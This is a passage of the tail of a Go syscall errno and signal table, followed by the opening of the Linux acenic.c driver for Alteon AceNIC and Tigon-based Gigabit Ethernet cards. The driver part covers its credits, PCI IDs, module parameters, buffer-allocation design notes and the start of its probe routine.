syscall.Errno(0x83) EDEADLK = syscall.Errno(0x2d) EDEADLOCK = syscall.Errno(0x38) EDESTADDRREQ = syscall.Errno(0x60) EDOTDOT = syscall.Errno(0x49) EDQUOT = syscall.Errno(0x46d) EHOSTDOWN = syscall.Errno(0x93) EHOSTUNREACH = syscall.Errno(0x94) EHWPOISON = syscall.Errno(0xa8) EIDRM = syscall.Errno(0x24) EILSEQ = syscall.Errno(0x58) EINIT = syscall.Errno(0x8d) EINPROGRESS = syscall.Errno(0x96) EISCONN = syscall.Errno(0x85) EISNAM = syscall.Errno(0x8b) EKEYEXPIRED = syscall.Errno(0xa2) EKEYREJECTED = syscall.Errno(0xa4) EKEYREVOKED = syscall.Errno(0xa3) EL2HLT = syscall.Errno(0x2c) EL2NSYNC = syscall.Errno(0x26) EL3HLT = syscall.Errno(0x27) EL3RST = syscall.Errno(0x28) ELIBACC = syscall.Errno(0x53) ELIBBAD = syscall.Errno(0x54) ELIBEXEC = syscall.Errno(0x57) ELIBMAX = syscall.Errno(0x56) ELIBSCN = syscall.Errno(0x55) ELNRNG = syscall.Errno(0x29) ELOOP = syscall.Errno(0x5a) EMEDIUMTYPE = syscall.Errno(0xa0) EMSGSIZE = syscall.Errno(0x61) EMULTIHOP = syscall.Errno(0x4a) ENAMETOOLONG = syscall.Errno(0x4e) ENAVAIL = syscall.Errno(0x8a) ENETDOWN = syscall.Errno(0x7f) ENETRESET = syscall.Errno(0x81) ENETUNREACH = syscall.Errno(0x80) ENOANO = syscall.Errno(0x35) ENOBUFS = syscall.Errno(0x84) ENOCSI = syscall.Errno(0x2b) ENODATA = syscall.Errno(0x3d) ENOKEY = syscall.Errno(0xa1) ENOLCK = syscall.Errno(0x2e) ENOLINK = syscall.Errno(0x43) ENOMEDIUM = syscall.Errno(0x9f) ENOMSG = syscall.Errno(0x23) ENONET = syscall.Errno(0x40) ENOPKG = syscall.Errno(0x41) ENOPROTOOPT = syscall.Errno(0x63) ENOSR = syscall.Errno(0x3f) ENOSTR = syscall.Errno(0x3c) ENOSYS = syscall.Errno(0x59) ENOTCONN = syscall.Errno(0x86) ENOTEMPTY = syscall.Errno(0x5d) ENOTNAM = syscall.Errno(0x89) ENOTRECOVERABLE = syscall.Errno(0xa6) ENOTSOCK = syscall.Errno(0x5f) ENOTSUP = syscall.Errno(0x7a) ENOTUNIQ = syscall.Errno(0x50) EOPNOTSUPP = syscall.Errno(0x7a) EOVERFLOW = syscall.Errno(0x4f) EOWNERDEAD = syscall.Errno(0xa5) EPFNOSUPPORT = syscall.Errno(0x7b) EPROTO = syscall.Errno(0x47) EPROTONOSUPPORT = syscall.Errno(0x78) EPROTOTYPE = syscall.Errno(0x62) EREMCHG = syscall.Errno(0x52) EREMDEV = syscall.Errno(0x8e) EREMOTE = syscall.Errno(0x42) EREMOTEIO = syscall.Errno(0x8c) ERESTART = syscall.Errno(0x5b) ERFKILL = syscall.Errno(0xa7) ESHUTDOWN = syscall.Errno(0x8f) ESOCKTNOSUPPORT = syscall.Errno(0x79) ESRMNT = syscall.Errno(0x45) ESTALE = syscall.Errno(0x97) ESTRPIPE = syscall.Errno(0x5c) ETIME = syscall.Errno(0x3e) ETIMEDOUT = syscall.Errno(0x91) ETOOMANYREFS = syscall.Errno(0x90) EUCLEAN = syscall.Errno(0x87) EUNATCH = syscall.Errno(0x2a) EUSERS = syscall.Errno(0x5e) EXFULL = syscall.Errno(0x34) ) // Signals const ( SIGBUS = syscall.Signal(0xa) SIGCHLD = syscall.Signal(0x12) SIGCLD = syscall.Signal(0x12) SIGCONT = syscall.Signal(0x19) SIGEMT = syscall.Signal(0x7) SIGIO = syscall.Signal(0x16) SIGPOLL = syscall.Signal(0x16) SIGPROF = syscall.Signal(0x1d) SIGPWR = syscall.Signal(0x13) SIGSTOP = syscall.Signal(0x17) SIGSYS = syscall.Signal(0xc) SIGTSTP = syscall.Signal(0x18) SIGTTIN = syscall.Signal(0x1a) SIGTTOU = syscall.Signal(0x1b) SIGURG = syscall.Signal(0x15) SIGUSR1 = syscall.Signal(0x10) SIGUSR2 = syscall.Signal(0x11) SIGVTALRM = syscall.Signal(0x1c) SIGWINCH = syscall.Signal(0x14) SIGXCPU = syscall.Signal(0x1e) SIGXFSZ = syscall.Signal(0x1f) ) // Error table var errorList = [...]struct { num syscall.Errno name string desc string }{ {1, "EPERM", "operation not permitted"}, {2, "ENOENT", "no such file or directory"}, {3, "ESRCH", "no such process"}, {4, "EINTR", "interrupted system call"}, {5, "EIO", "input/output error"}, {6, "ENXIO", "no such device or address"}, {7, "E2BIG", "argument list too long"}, {8, "ENOEXEC", "exec format error"}, {9, "EBADF", "bad file descriptor"}, {10, "ECHILD", "no child processes"}, {11, "EAGAIN", "resource temporarily unavailable"}, {12, "ENOMEM", "cannot allocate memory"}, {13, "EACCES", "permission denied"}, {14, "EFAULT", "bad address"}, {15, "ENOTBLK", "block device required"}, {16, "EBUSY", "device or resource busy"}, {17, "EEXIST", "file exists"}, {18, "EXDEV", "invalid cross-device link"}, {19, "ENODEV", "no such device"}, {20, "ENOTDIR", "not a directory"}, {21, "EISDIR", "is a directory"}, {22, "EINVAL", "invalid argument"}, {23, "ENFILE", "too many open files in system"}, {24, "EMFILE", "too many open files"}, {25, "ENOTTY", "inappropriate ioctl for device"}, {26, "ETXTBSY", "text file busy"}, {27, "EFBIG", "file too large"}, {28, "ENOSPC", "no space left on device"}, {29, "ESPIPE", "illegal seek"}, {30, "EROFS", "read-only file system"}, {31, "EMLINK", "too many links"}, {32, "EPIPE", "broken pipe"}, {33, "EDOM", "numerical argument out of domain"}, {34, "ERANGE", "numerical result out of range"}, {35, "ENOMSG", "no message of desired type"}, {36, "EIDRM", "identifier removed"}, {37, "ECHRNG", "channel number out of range"}, {38, "EL2NSYNC", "level 2 not synchronized"}, {39, "EL3HLT", "level 3 halted"}, {40, "EL3RST", "level 3 reset"}, {41, "ELNRNG", "link number out of range"}, {42, "EUNATCH", "protocol driver not attached"}, {43, "ENOCSI", "no CSI structure available"}, {44, "EL2HLT", "level 2 halted"}, {45, "EDEADLK", "resource deadlock avoided"}, {46, "ENOLCK", "no locks available"}, {50, "EBADE", "invalid exchange"}, {51, "EBADR", "invalid request descriptor"}, {52, "EXFULL", "exchange full"}, {53, "ENOANO", "no anode"}, {54, "EBADRQC", "invalid request code"}, {55, "EBADSLT", "invalid slot"}, {56, "EDEADLOCK", "file locking deadlock error"}, {59, "EBFONT", "bad font file format"}, {60, "ENOSTR", "device not a stream"}, {61, "ENODATA", "no data available"}, {62, "ETIME", "timer expired"}, {63, "ENOSR", "out of streams resources"}, {64, "ENONET", "machine is not on the network"}, {65, "ENOPKG", "package not installed"}, {66, "EREMOTE", "object is remote"}, {67, "ENOLINK", "link has been severed"}, {68, "EADV", "advertise error"}, {69, "ESRMNT", "srmount error"}, {70, "ECOMM", "communication error on send"}, {71, "EPROTO", "protocol error"}, {73, "EDOTDOT", "RFS specific error"}, {74, "EMULTIHOP", "multihop attempted"}, {77, "EBADMSG", "bad message"}, {78, "ENAMETOOLONG", "file name too long"}, {79, "EOVERFLOW", "value too large for defined data type"}, {80, "ENOTUNIQ", "name not unique on network"}, {81, "EBADFD", "file descriptor in bad state"}, {82, "EREMCHG", "remote address changed"}, {83, "ELIBACC", "can not access a needed shared library"}, {84, "ELIBBAD", "accessing a corrupted shared library"}, {85, "ELIBSCN", ".lib section in a.out corrupted"}, {86, "ELIBMAX", "attempting to link in too many shared libraries"}, {87, "ELIBEXEC", "cannot exec a shared library directly"}, {88, "EILSEQ", "invalid or incomplete multibyte or wide character"}, {89, "ENOSYS", "function not implemented"}, {90, "ELOOP", "too many levels of symbolic links"}, {91, "ERESTART", "interrupted system call should be restarted"}, {92, "ESTRPIPE", "streams pipe error"}, {93, "ENOTEMPTY", "directory not empty"}, {94, "EUSERS", "too many users"}, {95, "ENOTSOCK", "socket operation on non-socket"}, {96, "EDESTADDRREQ", "destination address required"}, {97, "EMSGSIZE", "message too long"}, {98, "EPROTOTYPE", "protocol wrong type for socket"}, {99, "ENOPROTOOPT", "protocol not available"}, {120, "EPROTONOSUPPORT", "protocol not supported"}, {121, "ESOCKTNOSUPPORT", "socket type not supported"}, {122, "ENOTSUP", "operation not supported"}, {123, "EPFNOSUPPORT", "protocol family not supported"}, {124, "EAFNOSUPPORT", "address family not supported by protocol"}, {125, "EADDRINUSE", "address already in use"}, {126, "EADDRNOTAVAIL", "cannot assign requested address"}, {127, "ENETDOWN", "network is down"}, {128, "ENETUNREACH", "network is unreachable"}, {129, "ENETRESET", "network dropped connection on reset"}, {130, "ECONNABORTED", "software caused connection abort"}, {131, "ECONNRESET", "connection reset by peer"}, {132, "ENOBUFS", "no buffer space available"}, {133, "EISCONN", "transport endpoint is already connected"}, {134, "ENOTCONN", "transport endpoint is not connected"}, {135, "EUCLEAN", "structure needs cleaning"}, {137, "ENOTNAM", "not a XENIX named type file"}, {138, "ENAVAIL", "no XENIX semaphores available"}, {139, "EISNAM", "is a named type file"}, {140, "EREMOTEIO", "remote I/O error"}, {141, "EINIT", "unknown error 141"}, {142, "EREMDEV", "unknown error 142"}, {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"}, {144, "ETOOMANYREFS", "too many references: cannot splice"}, {145, "ETIMEDOUT", "connection timed out"}, {146, "ECONNREFUSED", "connection refused"}, {147, "EHOSTDOWN", "host is down"}, {148, "EHOSTUNREACH", "no route to host"}, {149, "EALREADY", "operation already in progress"}, {150, "EINPROGRESS", "operation now in progress"}, {151, "ESTALE", "stale file handle"}, {158, "ECANCELED", "operation canceled"}, {159, "ENOMEDIUM", "no medium found"}, {160, "EMEDIUMTYPE", "wrong medium type"}, {161, "ENOKEY", "required key not available"}, {162, "EKEYEXPIRED", "key has expired"}, {163, "EKEYREVOKED", "key has been revoked"}, {164, "EKEYREJECTED", "key was rejected by service"}, {165, "EOWNERDEAD", "owner died"}, {166, "ENOTRECOVERABLE", "state not recoverable"}, {167, "ERFKILL", "operation not possible due to RF-kill"}, {168, "EHWPOISON", "memory page has hardware error"}, {1133, "EDQUOT", "disk quota exceeded"}, } // Signal table var signalList = [...]struct { num syscall.Signal name string desc string }{ {1, "SIGHUP", "hangup"}, {2, "SIGINT", "interrupt"}, {3, "SIGQUIT", "quit"}, {4, "SIGILL", "illegal instruction"}, {5, "SIGTRAP", "trace/breakpoint trap"}, {6, "SIGABRT", "aborted"}, {7, "SIGEMT", "EMT trap"}, {8, "SIGFPE", "floating point exception"}, {9, "SIGKILL", "killed"}, {10, "SIGBUS", "bus error"}, {11, "SIGSEGV", "segmentation fault"}, {12, "SIGSYS", "bad system call"}, {13, "SIGPIPE", "broken pipe"}, {14, "SIGALRM", "alarm clock"}, {15, "SIGTERM", "terminated"}, {16, "SIGUSR1", "user defined signal 1"}, {17, "SIGUSR2", "user defined signal 2"}, {18, "SIGCHLD", "child exited"}, {19, "SIGPWR", "power failure"}, {20, "SIGWINCH", "window changed"}, {21, "SIGURG", "urgent I/O condition"}, {22, "SIGIO", "I/O possible"}, {23, "SIGSTOP", "stopped (signal)"}, {24, "SIGTSTP", "stopped"}, {25, "SIGCONT", "continued"}, {26, "SIGTTIN", "stopped (tty input)"}, {27, "SIGTTOU", "stopped (tty output)"}, {28, "SIGVTALRM", "virtual timer expired"}, {29, "SIGPROF", "profiling timer expired"}, {30, "SIGXCPU", "CPU time limit exceeded"}, {31, "SIGXFSZ", "file size limit exceeded"}, }
{ "pile_set_name": "Github" }
/* * acenic.c: Linux driver for the Alteon AceNIC Gigabit Ethernet card * and other Tigon based cards. * * Copyright 1998-2002 by Jes Sorensen, <[email protected]>. * * Thanks to Alteon and 3Com for providing hardware and documentation * enabling me to write this driver. * * A mailing list for discussing the use of this driver has been * setup, please subscribe to the lists if you have any questions * about the driver. Send mail to [email protected] to * see how to subscribe. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Additional credits: * Pete Wyckoff <[email protected]>: Initial Linux/Alpha and trace * dump support. The trace dump support has not been * integrated yet however. * Troy Benjegerdes: Big Endian (PPC) patches. * Nate Stahl: Better out of memory handling and stats support. * Aman Singla: Nasty race between interrupt handler and tx code dealing * with 'testing the tx_ret_csm and setting tx_full' * David S. Miller <[email protected]>: conversion to new PCI dma mapping * infrastructure and Sparc support * Pierrick Pinasseau (CERN): For lending me an Ultra 5 to test the * driver under Linux/Sparc64 * Matt Domsch <[email protected]>: Detect Alteon 1000baseT cards * ETHTOOL_GDRVINFO support * Chip Salzenberg <[email protected]>: Fix race condition between tx * handler and close() cleanup. * Ken Aaker <[email protected]>: Correct check for whether * memory mapped IO is enabled to * make the driver work on RS/6000. * Takayoshi Kouchi <[email protected]>: Identifying problem * where the driver would disable * bus master mode if it had to disable * write and invalidate. * Stephen Hack <[email protected]>: Fixed ace_set_mac_addr for little * endian systems. * Val Henson <[email protected]>: Reset Jumbo skb producer and * rx producer index when * flushing the Jumbo ring. * Hans Grobler <[email protected]>: Memory leak fixes in the * driver init path. * Grant Grundler <[email protected]>: PCI write posting fixes. */ #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/types.h> #include <linux/errno.h> #include <linux/ioport.h> #include <linux/pci.h> #include <linux/dma-mapping.h> #include <linux/kernel.h> #include <linux/netdevice.h> #include <linux/etherdevice.h> #include <linux/skbuff.h> #include <linux/init.h> #include <linux/delay.h> #include <linux/mm.h> #include <linux/highmem.h> #include <linux/sockios.h> #include <linux/firmware.h> #include <linux/slab.h> #include <linux/prefetch.h> #include <linux/if_vlan.h> #ifdef SIOCETHTOOL #include <linux/ethtool.h> #endif #include <net/sock.h> #include <net/ip.h> #include <asm/io.h> #include <asm/irq.h> #include <asm/byteorder.h> #include <asm/uaccess.h> #define DRV_NAME "acenic" #undef INDEX_DEBUG #ifdef CONFIG_ACENIC_OMIT_TIGON_I #define ACE_IS_TIGON_I(ap) 0 #define ACE_TX_RING_ENTRIES(ap) MAX_TX_RING_ENTRIES #else #define ACE_IS_TIGON_I(ap) (ap->version == 1) #define ACE_TX_RING_ENTRIES(ap) ap->tx_ring_entries #endif #ifndef PCI_VENDOR_ID_ALTEON #define PCI_VENDOR_ID_ALTEON 0x12ae #endif #ifndef PCI_DEVICE_ID_ALTEON_ACENIC_FIBRE #define PCI_DEVICE_ID_ALTEON_ACENIC_FIBRE 0x0001 #define PCI_DEVICE_ID_ALTEON_ACENIC_COPPER 0x0002 #endif #ifndef PCI_DEVICE_ID_3COM_3C985 #define PCI_DEVICE_ID_3COM_3C985 0x0001 #endif #ifndef PCI_VENDOR_ID_NETGEAR #define PCI_VENDOR_ID_NETGEAR 0x1385 #define PCI_DEVICE_ID_NETGEAR_GA620 0x620a #endif #ifndef PCI_DEVICE_ID_NETGEAR_GA620T #define PCI_DEVICE_ID_NETGEAR_GA620T 0x630a #endif /* * Farallon used the DEC vendor ID by mistake and they seem not * to care - stinky! */ #ifndef PCI_DEVICE_ID_FARALLON_PN9000SX #define PCI_DEVICE_ID_FARALLON_PN9000SX 0x1a #endif #ifndef PCI_DEVICE_ID_FARALLON_PN9100T #define PCI_DEVICE_ID_FARALLON_PN9100T 0xfa #endif #ifndef PCI_VENDOR_ID_SGI #define PCI_VENDOR_ID_SGI 0x10a9 #endif #ifndef PCI_DEVICE_ID_SGI_ACENIC #define PCI_DEVICE_ID_SGI_ACENIC 0x0009 #endif static DEFINE_PCI_DEVICE_TABLE(acenic_pci_tbl) = { { PCI_VENDOR_ID_ALTEON, PCI_DEVICE_ID_ALTEON_ACENIC_FIBRE, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { PCI_VENDOR_ID_ALTEON, PCI_DEVICE_ID_ALTEON_ACENIC_COPPER, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { PCI_VENDOR_ID_3COM, PCI_DEVICE_ID_3COM_3C985, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { PCI_VENDOR_ID_NETGEAR, PCI_DEVICE_ID_NETGEAR_GA620, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { PCI_VENDOR_ID_NETGEAR, PCI_DEVICE_ID_NETGEAR_GA620T, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, /* * Farallon used the DEC vendor ID on their cards incorrectly, * then later Alteon's ID. */ { PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_FARALLON_PN9000SX, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { PCI_VENDOR_ID_ALTEON, PCI_DEVICE_ID_FARALLON_PN9100T, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { PCI_VENDOR_ID_SGI, PCI_DEVICE_ID_SGI_ACENIC, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, { } }; MODULE_DEVICE_TABLE(pci, acenic_pci_tbl); #define ace_sync_irq(irq) synchronize_irq(irq) #ifndef offset_in_page #define offset_in_page(ptr) ((unsigned long)(ptr) & ~PAGE_MASK) #endif #define ACE_MAX_MOD_PARMS 8 #define BOARD_IDX_STATIC 0 #define BOARD_IDX_OVERFLOW -1 #include "acenic.h" /* * These must be defined before the firmware is included. */ #define MAX_TEXT_LEN 96*1024 #define MAX_RODATA_LEN 8*1024 #define MAX_DATA_LEN 2*1024 #ifndef tigon2FwReleaseLocal #define tigon2FwReleaseLocal 0 #endif /* * This driver currently supports Tigon I and Tigon II based cards * including the Alteon AceNIC, the 3Com 3C985[B] and NetGear * GA620. The driver should also work on the SGI, DEC and Farallon * versions of the card, however I have not been able to test that * myself. * * This card is really neat, it supports receive hardware checksumming * and jumbo frames (up to 9000 bytes) and does a lot of work in the * firmware. Also the programming interface is quite neat, except for * the parts dealing with the i2c eeprom on the card ;-) * * Using jumbo frames: * * To enable jumbo frames, simply specify an mtu between 1500 and 9000 * bytes to ifconfig. Jumbo frames can be enabled or disabled at any time * by running `ifconfig eth<X> mtu <MTU>' with <X> being the Ethernet * interface number and <MTU> being the MTU value. * * Module parameters: * * When compiled as a loadable module, the driver allows for a number * of module parameters to be specified. The driver supports the * following module parameters: * * trace=<val> - Firmware trace level. This requires special traced * firmware to replace the firmware supplied with * the driver - for debugging purposes only. * * link=<val> - Link state. Normally you want to use the default link * parameters set by the driver. This can be used to * override these in case your switch doesn't negotiate * the link properly. Valid values are: * 0x0001 - Force half duplex link. * 0x0002 - Do not negotiate line speed with the other end. * 0x0010 - 10Mbit/sec link. * 0x0020 - 100Mbit/sec link. * 0x0040 - 1000Mbit/sec link. * 0x0100 - Do not negotiate flow control. * 0x0200 - Enable RX flow control Y * 0x0400 - Enable TX flow control Y (Tigon II NICs only). * Default value is 0x0270, ie. enable link+flow * control negotiation. Negotiating the highest * possible link speed with RX flow control enabled. * * When disabling link speed negotiation, only one link * speed is allowed to be specified! * * tx_coal_tick=<val> - number of coalescing clock ticks (us) allowed * to wait for more packets to arive before * interrupting the host, from the time the first * packet arrives. * * rx_coal_tick=<val> - number of coalescing clock ticks (us) allowed * to wait for more packets to arive in the transmit ring, * before interrupting the host, after transmitting the * first packet in the ring. * * max_tx_desc=<val> - maximum number of transmit descriptors * (packets) transmitted before interrupting the host. * * max_rx_desc=<val> - maximum number of receive descriptors * (packets) received before interrupting the host. * * tx_ratio=<val> - 7 bit value (0 - 63) specifying the split in 64th * increments of the NIC's on board memory to be used for * transmit and receive buffers. For the 1MB NIC app. 800KB * is available, on the 1/2MB NIC app. 300KB is available. * 68KB will always be available as a minimum for both * directions. The default value is a 50/50 split. * dis_pci_mem_inval=<val> - disable PCI memory write and invalidate * operations, default (1) is to always disable this as * that is what Alteon does on NT. I have not been able * to measure any real performance differences with * this on my systems. Set <val>=0 if you want to * enable these operations. * * If you use more than one NIC, specify the parameters for the * individual NICs with a comma, ie. trace=0,0x00001fff,0 you want to * run tracing on NIC #2 but not on NIC #1 and #3. * * TODO: * * - Proper multicast support. * - NIC dump support. * - More tuning parameters. * * The mini ring is not used under Linux and I am not sure it makes sense * to actually use it. * * New interrupt handler strategy: * * The old interrupt handler worked using the traditional method of * replacing an skbuff with a new one when a packet arrives. However * the rx rings do not need to contain a static number of buffer * descriptors, thus it makes sense to move the memory allocation out * of the main interrupt handler and do it in a bottom half handler * and only allocate new buffers when the number of buffers in the * ring is below a certain threshold. In order to avoid starving the * NIC under heavy load it is however necessary to force allocation * when hitting a minimum threshold. The strategy for alloction is as * follows: * * RX_LOW_BUF_THRES - allocate buffers in the bottom half * RX_PANIC_LOW_THRES - we are very low on buffers, allocate * the buffers in the interrupt handler * RX_RING_THRES - maximum number of buffers in the rx ring * RX_MINI_THRES - maximum number of buffers in the mini ring * RX_JUMBO_THRES - maximum number of buffers in the jumbo ring * * One advantagous side effect of this allocation approach is that the * entire rx processing can be done without holding any spin lock * since the rx rings and registers are totally independent of the tx * ring and its registers. This of course includes the kmalloc's of * new skb's. Thus start_xmit can run in parallel with rx processing * and the memory allocation on SMP systems. * * Note that running the skb reallocation in a bottom half opens up * another can of races which needs to be handled properly. In * particular it can happen that the interrupt handler tries to run * the reallocation while the bottom half is either running on another * CPU or was interrupted on the same CPU. To get around this the * driver uses bitops to prevent the reallocation routines from being * reentered. * * TX handling can also be done without holding any spin lock, wheee * this is fun! since tx_ret_csm is only written to by the interrupt * handler. The case to be aware of is when shutting down the device * and cleaning up where it is necessary to make sure that * start_xmit() is not running while this is happening. Well DaveM * informs me that this case is already protected against ... bye bye * Mr. Spin Lock, it was nice to know you. * * TX interrupts are now partly disabled so the NIC will only generate * TX interrupts for the number of coal ticks, not for the number of * TX packets in the queue. This should reduce the number of TX only, * ie. when no RX processing is done, interrupts seen. */ /* * Threshold values for RX buffer allocation - the low water marks for * when to start refilling the rings are set to 75% of the ring * sizes. It seems to make sense to refill the rings entirely from the * intrrupt handler once it gets below the panic threshold, that way * we don't risk that the refilling is moved to another CPU when the * one running the interrupt handler just got the slab code hot in its * cache. */ #define RX_RING_SIZE 72 #define RX_MINI_SIZE 64 #define RX_JUMBO_SIZE 48 #define RX_PANIC_STD_THRES 16 #define RX_PANIC_STD_REFILL (3*RX_PANIC_STD_THRES)/2 #define RX_LOW_STD_THRES (3*RX_RING_SIZE)/4 #define RX_PANIC_MINI_THRES 12 #define RX_PANIC_MINI_REFILL (3*RX_PANIC_MINI_THRES)/2 #define RX_LOW_MINI_THRES (3*RX_MINI_SIZE)/4 #define RX_PANIC_JUMBO_THRES 6 #define RX_PANIC_JUMBO_REFILL (3*RX_PANIC_JUMBO_THRES)/2 #define RX_LOW_JUMBO_THRES (3*RX_JUMBO_SIZE)/4 /* * Size of the mini ring entries, basically these just should be big * enough to take TCP ACKs */ #define ACE_MINI_SIZE 100 #define ACE_MINI_BUFSIZE ACE_MINI_SIZE #define ACE_STD_BUFSIZE (ACE_STD_MTU + ETH_HLEN + 4) #define ACE_JUMBO_BUFSIZE (ACE_JUMBO_MTU + ETH_HLEN + 4) /* * There seems to be a magic difference in the effect between 995 and 996 * but little difference between 900 and 995 ... no idea why. * * There is now a default set of tuning parameters which is set, depending * on whether or not the user enables Jumbo frames. It's assumed that if * Jumbo frames are enabled, the user wants optimal tuning for that case. */ #define DEF_TX_COAL 400 /* 996 */ #define DEF_TX_MAX_DESC 60 /* was 40 */ #define DEF_RX_COAL 120 /* 1000 */ #define DEF_RX_MAX_DESC 25 #define DEF_TX_RATIO 21 /* 24 */ #define DEF_JUMBO_TX_COAL 20 #define DEF_JUMBO_TX_MAX_DESC 60 #define DEF_JUMBO_RX_COAL 30 #define DEF_JUMBO_RX_MAX_DESC 6 #define DEF_JUMBO_TX_RATIO 21 #if tigon2FwReleaseLocal < 20001118 /* * Standard firmware and early modifications duplicate * IRQ load without this flag (coal timer is never reset). * Note that with this flag tx_coal should be less than * time to xmit full tx ring. * 400usec is not so bad for tx ring size of 128. */ #define TX_COAL_INTS_ONLY 1 /* worth it */ #else /* * With modified firmware, this is not necessary, but still useful. */ #define TX_COAL_INTS_ONLY 1 #endif #define DEF_TRACE 0 #define DEF_STAT (2 * TICKS_PER_SEC) static int link_state[ACE_MAX_MOD_PARMS]; static int trace[ACE_MAX_MOD_PARMS]; static int tx_coal_tick[ACE_MAX_MOD_PARMS]; static int rx_coal_tick[ACE_MAX_MOD_PARMS]; static int max_tx_desc[ACE_MAX_MOD_PARMS]; static int max_rx_desc[ACE_MAX_MOD_PARMS]; static int tx_ratio[ACE_MAX_MOD_PARMS]; static int dis_pci_mem_inval[ACE_MAX_MOD_PARMS] = {1, 1, 1, 1, 1, 1, 1, 1}; MODULE_AUTHOR("Jes Sorensen <[email protected]>"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("AceNIC/3C985/GA620 Gigabit Ethernet driver"); #ifndef CONFIG_ACENIC_OMIT_TIGON_I MODULE_FIRMWARE("acenic/tg1.bin"); #endif MODULE_FIRMWARE("acenic/tg2.bin"); module_param_array_named(link, link_state, int, NULL, 0); module_param_array(trace, int, NULL, 0); module_param_array(tx_coal_tick, int, NULL, 0); module_param_array(max_tx_desc, int, NULL, 0); module_param_array(rx_coal_tick, int, NULL, 0); module_param_array(max_rx_desc, int, NULL, 0); module_param_array(tx_ratio, int, NULL, 0); MODULE_PARM_DESC(link, "AceNIC/3C985/NetGear link state"); MODULE_PARM_DESC(trace, "AceNIC/3C985/NetGear firmware trace level"); MODULE_PARM_DESC(tx_coal_tick, "AceNIC/3C985/GA620 max clock ticks to wait from first tx descriptor arrives"); MODULE_PARM_DESC(max_tx_desc, "AceNIC/3C985/GA620 max number of transmit descriptors to wait"); MODULE_PARM_DESC(rx_coal_tick, "AceNIC/3C985/GA620 max clock ticks to wait from first rx descriptor arrives"); MODULE_PARM_DESC(max_rx_desc, "AceNIC/3C985/GA620 max number of receive descriptors to wait"); MODULE_PARM_DESC(tx_ratio, "AceNIC/3C985/GA620 ratio of NIC memory used for TX/RX descriptors (range 0-63)"); static const char version[] = "acenic.c: v0.92 08/05/2002 Jes Sorensen, [email protected]\n" " http://home.cern.ch/~jes/gige/acenic.html\n"; static int ace_get_settings(struct net_device *, struct ethtool_cmd *); static int ace_set_settings(struct net_device *, struct ethtool_cmd *); static void ace_get_drvinfo(struct net_device *, struct ethtool_drvinfo *); static const struct ethtool_ops ace_ethtool_ops = { .get_settings = ace_get_settings, .set_settings = ace_set_settings, .get_drvinfo = ace_get_drvinfo, }; static void ace_watchdog(struct net_device *dev); static const struct net_device_ops ace_netdev_ops = { .ndo_open = ace_open, .ndo_stop = ace_close, .ndo_tx_timeout = ace_watchdog, .ndo_get_stats = ace_get_stats, .ndo_start_xmit = ace_start_xmit, .ndo_set_rx_mode = ace_set_multicast_list, .ndo_validate_addr = eth_validate_addr, .ndo_set_mac_address = ace_set_mac_addr, .ndo_change_mtu = ace_change_mtu, }; static int acenic_probe_one(struct pci_dev *pdev, const struct pci_device_id *id) { struct net_device *dev; struct ace_private *ap; static int boards_found; dev = alloc_etherdev(sizeof(struct ace_private)); if (dev == NULL) return -ENOMEM; SET_NETDEV_DEV(dev, &pdev->dev); ap = netdev_priv(dev); ap->pdev = pdev; ap->name = pci_name(pdev); dev->features |= NETIF_F_SG | NETIF_F_IP_CSUM; dev->features |= NETIF_F_HW_VLAN_CTAG_TX | NETIF_F_HW_VLAN_CTAG_RX; dev->watchdog_timeo = 5*HZ; dev->netdev_ops = &ace_netdev_ops; SET_ETHTOOL_OPS(dev, &ace_ethtool_ops); /* we only display this string ONCE */ if (!boards_found) printk(version); if (pci_enable_device(pdev)) goto fail_free_netdev; /* * Enable master mode before we start playing with the * pci_command word since pci_set_master() will modify * it. */ pci_set_master(pdev); pci_read_config_word(pdev, PCI_COMMAND, &ap->pci_command); /* OpenFirmware on Mac's does not set this - DOH.. */ if (!(ap->pci_command & PCI_COMMAND_MEMORY)) { printk(KERN_INFO "%s: Enabling PCI Memory Mapped " "access - was not enabled by BIOS/Firmware\n", ap->name); ap->pci_command = ap->pci_command | PCI_COMMAND_MEMORY; pci_write_config_word(ap->pdev, PCI_COMMAND, ap->pci_command); wmb(); } pci_read_config_byte(pdev, PCI_LATENCY_TIMER, &ap->pci_latency); if (ap->pci_latency <= 0x40) { ap->pci_latency = 0x40; pci_write_config_byte(pdev, PCI_LATENCY_TIMER, ap->pci_latency); } /* * Remap the regs into kernel space - this is abuse of * dev->base_addr since it was means for I/O port * addresses but who gives a damn. */ dev->base_addr = pci_resource_start(pdev, 0); ap->regs = ioremap(dev->base_addr, 0x4000); if (!ap->regs) { printk(KERN_ERR "%s: Unable to map I/O register, " "AceNIC %i will be disabled.\n", ap->name, boards_found); goto fail_free_netdev; } switch(pdev->vendor) { case PCI_VENDOR_ID_ALTEON: if (pdev->device == PCI_DEVICE_ID_FARALLON_PN9100T) { printk(KERN_INFO "%s: Farallon PN9100-T ", ap->name); } else { printk(KERN_INFO "%s: Alteon AceNIC ", ap->name); } break; case PCI_VENDOR_ID_3COM: printk(KERN_INFO "%s: 3Com 3C985 ", ap->name); break; case PCI_VENDOR_ID_NETGEAR: printk(KERN_INFO "%s: NetGear GA620 ", ap->name); break; case PCI_VENDOR_ID_DEC: if (pdev->device == PCI_DEVICE_ID_FARALLON_PN9000SX) { printk(KERN_INFO "%s: Farallon PN9000-SX ", ap->name); break; } case PCI_VENDOR_ID_SGI: printk(KERN_INFO "%s: SGI AceNIC ", ap->name); break; 